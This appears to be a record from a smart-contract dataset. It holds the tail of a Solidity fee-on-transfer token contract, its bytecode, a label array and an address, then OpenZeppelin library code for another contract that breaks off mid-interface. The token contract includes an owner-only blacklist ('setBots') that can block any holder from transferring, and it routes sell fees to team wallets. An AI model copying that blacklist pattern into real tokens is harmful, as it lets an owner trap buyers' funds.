true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610295578063b515566a146102b5578063c3c8cd80146102d5578063c9567bf9146102ea578063dd62ed3e146102ff57600080fd5b806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c5578063313ce567146101e75780635932ead1146102035780636fc3eaec1461022357600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260068152654b617a756d6160d01b602082015290516101439190611792565b60405180910390f35b34801561015857600080fd5b5061016c610167366004611632565b610345565b6040519015158152602001610143565b34801561018857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610143565b3480156101b157600080fd5b5061016c6101c03660046115f1565b61035c565b3480156101d157600080fd5b506101e56101e036600461157e565b6103c5565b005b3480156101f357600080fd5b5060405160098152602001610143565b34801561020f57600080fd5b506101e561021e36600461172a565b610419565b34801561022f57600080fd5b506101e5610461565b34801561024457600080fd5b5061019761025336600461157e565b61048e565b34801561026457600080fd5b506101e56104b0565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610143565b3480156102a157600080fd5b5061016c6102b0366004611632565b610524565b3480156102c157600080fd5b506101e56102d036600461165e565b610531565b3480156102e157600080fd5b506101e56105c7565b3480156102f657600080fd5b506101e56105fd565b34801561030b57600080fd5b5061019761031a3660046115b8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103523384846109c6565b5060015b92915050565b6000610369848484610aea565b6103bb84336103b68560405180606001604052806028815260200161197e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e35565b6109c6565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef906117e7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104435760405162461bcd60e51b81526004016103ef906117e7565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048157600080fd5b4761048b81610e6f565b50565b6001600160a01b03811660009081526002602052604081205461035690610ef4565b6000546001600160a01b031633146104da5760405162461bcd60e51b81526004016103ef906117e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610352338484610aea565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016103ef906117e7565b60005b81518110156105c35760016006600084848151811061057f5761057f61192e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bb816118fd565b91505061055e565b5050565b600c546001600160a01b0316336001600160a01b0316146105e757600080fd5b60006105f23061048e565b905061048b81610f78565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016103ef906117e7565b600f54600160a01b900460ff16156106815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ef565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c130826b033b2e3c9fd0803ce80000006109c6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fa57600080fd5b505afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610732919061159b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077a57600080fd5b505afa15801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b2919061159b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610832919061159b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108628161048e565b6000806108776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109139190611764565b5050600f80546a084595161401484a00000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611747565b6001600160a01b038316610a285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ef565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ef565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ef565b60008111610c125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ef565b6001600a55600b80556000546001600160a01b03848116911614801590610c4757506000546001600160a01b03838116911614155b15610e25576001600160a01b03831660009081526006602052604090205460ff16158015610c8e57506001600160a01b03821660009081526006602052604090205460ff16155b610c9757600080fd5b600f546001600160a01b038481169116148015610cc25750600e546001600160a01b03838116911614155b8015610ce757506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfc5750600f54600160b81b900460ff165b15610d5957601054811115610d1057600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3457600080fd5b610d3f42603c61188d565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d845750600e546001600160a01b03848116911614155b8015610da957506001600160a01b03831660009081526005602052604090205460ff16155b15610db8576001600a55600b80555b6000610dc33061048e565b600f54909150600160a81b900460ff16158015610dee5750600f546001600160a01b03858116911614155b8015610e035750600f54600160b01b900460ff165b15610e2357610e1181610f78565b478015610e2157610e2147610e6f565b505b505b610e30838383611101565b505050565b60008184841115610e595760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118e6565b95945050505050565b600c546001600160a01b03166108fc610e8983600261110c565b6040518115909202916000818181858888f19350505050158015610eb1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecc83600261110c565b6040518115909202916000818181858888f193505050501580156105c3573d6000803e3d6000fd5b6000600854821115610f5b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ef565b6000610f6561114e565b9050610f71838261110c565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc057610fc061192e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101457600080fd5b505afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c919061159b565b8160018151811061105f5761105f61192e565b6001600160a01b039283166020918202929092010152600e5461108591309116846109c6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161181c565b600060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e30838383611171565b6000610f7183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611268565b600080600061115b611296565b909250905061116a828261110c565b9250505090565b600080600080600080611183876112de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b5908761133b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e4908661137d565b6001600160a01b038916600090815260026020526040902055611206816113dc565b6112108483611426565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125591815260200190565b60405180910390a3505050505050505050565b600081836112895760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118a5565b60085460009081906b033b2e3c9fd0803ce80000006112b5828261110c565b8210156112d5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fb8a600a54600b5461144a565b925092509250600061130b61114e565b9050600080600061131e8e87878761149f565b919e509c509a509598509396509194505050505091939550919395565b6000610f7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e35565b60008061138a838561188d565b905083811015610f715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ef565b60006113e661114e565b905060006113f483836114ef565b30600090815260026020526040902054909150611411908261137d565b30600090815260026020526040902055505050565b600854611433908361133b565b600855600954611443908261137d565b6009555050565b6000808080611464606461145e89896114ef565b9061110c565b90506000611477606461145e8a896114ef565b9050600061148f826114898b8661133b565b9061133b565b9992985090965090945050505050565b60008080806114ae88866114ef565b905060006114bc88876114ef565b905060006114ca88886114ef565b905060006114dc82611489868661133b565b939b939a50919850919650505050505050565b6000826114fe57506000610356565b600061150a83856118c7565b90508261151785836118a5565b14610f715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ef565b80356115798161195a565b919050565b60006020828403121561159057600080fd5b8135610f718161195a565b6000602082840312156115ad57600080fd5b8151610f718161195a565b600080604083850312156115cb57600080fd5b82356115d68161195a565b915060208301356115e68161195a565b809150509250929050565b60008060006060848603121561160657600080fd5b83356116118161195a565b925060208401356116218161195a565b929592945050506040919091013590565b6000806040838503121561164557600080fd5b82356116508161195a565b946020939093013593505050565b6000602080838503121561167157600080fd5b823567ffffffffffffffff8082111561168957600080fd5b818501915085601f83011261169d57600080fd5b8135818111156116af576116af611944565b8060051b604051601f19603f830116810181811085821117156116d4576116d4611944565b604052828152858101935084860182860187018a10156116f357600080fd5b600095505b8386101561171d576117098161156e565b8552600195909501949386019386016116f8565b5098975050505050505050565b60006020828403121561173c57600080fd5b8135610f718161196f565b60006020828403121561175957600080fd5b8151610f718161196f565b60008060006060848603121561177957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117bf578581018301518582016040015282016117a3565b818111156117d1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a0576118a0611918565b500190565b6000826118c257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e1576118e1611918565b500290565b6000828210156118f8576118f8611918565b500390565b600060001982141561191157611911611918565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078e04ba2bf6022d77267dd9fc1990def4584640ff63287e55c09eebc28a4230064736f6c63430008060033
[ 13, 5 ]
0xf2648e75d2705e31bb138082b8d6a26be5a7545b
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ 